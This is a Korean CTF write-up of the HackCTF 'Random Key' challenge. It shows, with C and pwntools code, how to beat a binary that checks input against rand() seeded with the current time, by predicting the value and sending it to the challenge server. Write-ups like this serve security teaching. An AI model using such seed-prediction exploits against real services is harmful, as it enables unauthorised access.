ii4gsp
HackCTF - Random Key 본문
파일을 다운받아 주자.
IDA로 열어보면 rand()함수로 받아온 값을 v5에 저장하고 scanf()함수로 v4에 입력을한다.
입력한 값과 rand()함수로 받아온 값 v5를 비교하고 같으면 flag를 출력해준다.
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main()
{
srand(time(0));
printf("%d\n", rand());
}
C언어로 똑같이 time을 0으로해주고 rand()함수로 값을 출력해주면 같은 시간의 값이되므로 비교 결과가 같을것이다.
gcc로 컴파일 해주자.
Exploit
from pwn import *
from ctypes import *
r = remote('ctf.j0n9hyun.xyz', 3014)
c = CDLL("/lib/x86_64-linux-gnu/libc.so.6")
p = process("/home/ii4gsp/Desktop/src/random_key")
c.srand(c.time(0))
random = c.rand()
r.sendline(str(random))
r.interactive()
소스코드를 작성해주자.
'시스템 해킹 > HackCTF' 카테고리의 다른 글
HackCTF - Beginner_Heap (0) | 2020.02.17 |
---|---|
HackCTF - RTL_Core (0) | 2020.02.17 |
HackCTF - 1996 (0) | 2020.02.16 |
HackCTF - Poet (0) | 2020.02.16 |
HackCTF - g++ pwn (0) | 2020.02.16 |
Comments